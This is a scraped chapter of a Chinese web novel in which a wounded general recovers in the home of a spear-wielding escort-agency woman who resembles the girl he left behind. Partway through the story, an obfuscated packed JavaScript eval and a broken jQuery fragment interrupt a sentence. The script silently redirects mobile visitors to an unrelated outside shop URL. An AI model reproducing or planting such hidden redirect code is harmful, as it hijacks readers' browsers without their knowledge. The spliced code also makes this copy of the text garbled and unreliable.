文趣网 > 其他小说 > 十二洲志 > 21. 此时相望不相闻
    柳非夜醒来时,发现自己已经不在荒林古道。

    他……还活着?

    柳非夜起身坐在榻边,床头的熏炉渺渺,是药香。

    他目光环视,打量着屋内。

    “……柳九?”柳非夜打量的目光落在门口出现的身影上,然而怔了一瞬,他就知道,不是她。

    “我叫杨渝,岱洲的人惯叫我杨九。”门口的身影荡了荡手中的柳枝,轻轻笑了一声,“我可不姓柳。”

    柳非夜的目光落在轻荡的柳枝上:“抱歉,杨姑娘。不知在下为何在此?”

    杨渝跨进屋内,道:“几日前走镖归来,见你倒在荒草枯木之中,便将你带回了府。”

    “多谢姑娘救命之恩,柳非夜……”

    杨渝坐在桌边,打断了他的话:“不敢承柳将军恩情。”她端详了一会,“郎中说你的外伤没什么大碍,不过暗疾难愈,很长一段时间都不能动武。”

    杨渝的话音刚落,柳非夜的眼神便凌厉起来,但当他看见那双带笑的眼睛,气势又落了一半。

    很像,八分相似都是谦辞。他差点就以为是柳九在他眼前了。

    九姑娘啊……

    柳非夜原以为自己当日必死无疑,却不料能被人所救,身前还坐着一位与柳九形容相似的人。就连名字,都宛如双生。

    察觉到柳非夜周身的杀气聚了又散,杨渝扬眉:“柳将军不必如此紧张。我既不知柳将军为何重伤濒死于岱洲城外,更不会逾越地探寻将军之事。将军只管在我府上修养便是。”

    “至于我是如何得知将军,”停了停,杨渝继续道,“我有位叔父,在军中任都尉。”

    然后杨渝就看见柳非夜眉目微惰,信了她这一番言辞恳切的话。

    柳非夜垂着眼,思量着这一番话,军中确实有位杨都尉。

    她既救了他,一时间必然不会有加害之心。

    柳非夜静了心,但方才提气,如今忽然放松,开始咳嗽起来。

    杨渝见状,为他倒了杯水。

    她原本只是过来看一看这救下的半死不活的人如何了,现在人已醒来,她自然要忙自己的去了。

    郎中原本说他醒来还需几日,不成想他醒的这么快。

    杨渝端走床头的香炉:“你昏迷期间药水总喂不进,只能碾了熏一熏。如今你醒了便开始饮汤药吧,好得快。”

    其实杨九也不知道是不是好得快,但碾药换熏太繁琐,有些耽误她时间。

    “稍后我差人给你送药来,再请郎中来诊脉。”

    柳非夜目送杨渝离开。

    这之后一日三回,一直有人来给他送药,杨渝偶尔来看他。

    汤药之下,柳非夜伤势渐有好转,但日常大多时候都在昏睡。

    他问过杨渝,杨渝说是药中有安眠的成分。

    这期间柳非夜借了笔墨,写了密信夜寄给王女。

    春光渐渐明媚,柳非夜身体已经好上许多,房中太闷,他打算出去走走,遇上来看他的杨渝。

    “杨姑娘。”柳非夜颔首。

    “叫我杨九就行。”杨渝看过柳非夜,见他气色不错,“你恢复的如何?”

    柳非夜顿了一下,眼神轻轻点过杨渝的眉目:“已经没有什么大碍,这些时日多谢……杨九姑娘关照。”

    “无妨无妨。”杨九摆手,“今日镖局正好有会武,柳将军要去看一看吗?”

    能见识武艺切磋,柳非夜自然不会回绝。

    “那就有劳了,”柳非夜道,“也不必称呼作将军,如今不在军中,叫我名字就好。”

    他们二人一路而行,闲谈了几句,便聊到了武艺枪法上。

    “杨九姑娘对枪术一道颇有见解,想必枪法卓然。”柳非夜赞叹。

    杨渝笑着摇摇头:“在你面前,谁敢说枪法卓然。我还是逊你一筹。”

    “杨九姑娘尚未见过在下的枪术,何出此言?”

    闻言,杨渝抬眼看过身边这个眉目沉稳,气魄冷冽的郎君,坦然承认:“我见过你的枪,我比不上。”

    柳非夜微怔,此前他从未见过杨渝。

    见到柳非夜疑惑的眼神,杨渝解释:“你还记得三年前塞外,押镖的车队吗?”

    杨渝在很久之前就见过柳非夜一次,在她第一次押镖的时候。

    杨渝第一次押镖是去关外,那时的塞外远没有现在安定,路上不算平安,她在凉洲城外遇到了劫镖的匪寇。

    初入江湖的杨渝有股子不服输的劲,但三年前她的身手委实比不上现在。

    本来她的第一镖就要这样失败了,但是有个提枪策马的少年路过,为她平了那此事端。

    至今杨渝都记得柳非夜刺出的一枪,惊才绝艳。

    初次走镖的少女,身后是茫茫黄沙,眼前是意气风发的少年。

    押镖结束的杨渝去军营拜访叔父,听杨都尉说起军营里来了位模样身手俱佳的年轻人,一手枪法在军中少有敌手。

    于校场远远见到柳非夜时杨渝有些讶异,向叔父讲起押镖的事,杨渝第一次听说了柳非夜的名字。

    当年籍籍无名的少年,今日已经是声震边关的镇关将军。

    柳非夜听杨渝提起这一桩事,讶然他们之间还有这样的前缘。

    他回忆起最初投军时,好似确实出手帮过一支镖队。那时匆匆一瞥,为首的镖师面纱之上的眼睛很像柳九。

    说完旧事,杨渝笑得坦荡:“谁能料想风水轮流转?当日你挽救我们镖局的声名,今时我救你一命,也算是还你扶危救困的侠义之举了。”

    柳非夜感叹:“也算善因善果吧。”

    他们到了会武场地,杨渝被镖局中人邀着上场,柳非夜也没能逃过,被人拉着想与他比试比试,

    杨渝将胡闹的人都撵开:“这位少侠需要静养。况且,你们连我都打不过,”杨渝摇了摇头,“就先别想与他过手了。”

    “先打赢我再说吧!”杨渝握枪上场,眉目飞扬,意气风发。

    柳非夜看着场上杨渝身形轻灵,横枪挑来间行云流水,凡上场的人与她过招,都应对从容,确实无人能赢过她。

    比起三年前,她还有些生涩的枪法,如今她的枪中已经有她的风骨了。

    柳非夜无端想起了那年盛夏,满池莲叶中,九姑娘因他舞枪戏言而嗔怒的眉眼。

    杨渝神清气爽地收枪下场,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536616|202678||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    行动间神采飞扬,又是保住镖局第一人名号的一天。

    “柳少爷觉得如何?”杨渝问旁观全场的柳非夜。

    “你的枪更游刃有余了,他们不是你的对手。”

    “比起你又如何?”杨渝幻想,说她进步了,不说打得过他吧,应该也能过上几回合吧。

    杨渝意动,想起郎中让伤者静养,数月不能动武的话,杨渝叹息。

    听到杨渝这一问,柳非夜目光扫过她放下的枪,笑了笑没有回答。

    看着柳非夜但笑不语,杨渝跟上他:“你什么意思呀?我不厉害吗?”

    柳非夜目视着前方:“杨九姑娘青春好年华,枪法将来更能进益。”

    杨渝认可地点点头,思考了一息只觉不对。这不就是在说她现在比不上他吗?

    她自己能承认自己没他厉害,这叫有自知之明。他直说她比不上他,这叫自夸自负,好吧他也没有直说,对他来说这也是自知之明。

    这么一想,杨渝更加气恼了。

    三年前她比不上他,但现在万一呢?

    好想趁他病,要他跟她比一场!

    她肯定能赢!

    杨渝在仁义道德和厚颜无耻之间摇摆,好难选啊。

    春风很快吹遍了岱洲。

    柳非夜在杨府安住的这些时日,伤势已经差不多好全,偶尔也能活络一下筋骨,闲时他也会指点一下杨渝的枪法。

    “杨九,手腕还需压下去,出枪再快些。”

    柳非夜虚虚点了点杨渝的手腕,后退些许并指作枪又为杨渝演示一遍。

    杨渝颔首,仔细观摩细微处,收枪再来。

    柳非夜站在一旁的柳树下,看着杨渝的身姿矫健,枪式利落,她的枪术天分还在他之上。

    清风吹过长了新叶的柳条,柳非夜抬手拂过,指尖携下一片柳叶。

    柳洲也到了满城春柳的时节吧。

    柳非夜平淡静然的目光落在杨渝的眉宇,他知道杨渝跟柳九除了容貌再无相似之处。

    柳九姑娘没有这样凛冽夺人的气场,她更温和些。城北柳家教出来的姑娘,终究是端庄持重的。

    那个姑娘唯一的的出阁之事,大概就是认识了他吧。

    杨渝收枪,回头见到柳树下神思飘远的郎君,忽而想起镖局中,走镖归来的少年人谈论的那场喜事。

    “我记得柳少爷是柳洲人氏?”

    柳非夜向杨渝颔首:“柳洲柳家。”

    “镖局这次押镖经过柳洲,听说柳家有个姑娘要出家了。”杨渝走到柳非夜身边,带着点好奇,“你妹妹要出嫁了?”

    柳非夜怔住,他怎么不知道?

    可转念一瞬,柳非夜看着杨渝,问:“是城北的柳家?”

    杨渝思索了出镖前定好的路线,经过的应当是城北,于是她点头。

    指尖的柳叶倏然折断,被攥紧掌心。

    柳非夜低垂目光,他眼前的杨渝的神色困惑,眉目清朗。

    柳非夜一时间竟不知道如何言语。

    故人音容从未敢忘,总以为她安好他便了无牵挂。

    原来……他仍旧如那年熙攘人潮中所言,他会嫉妒。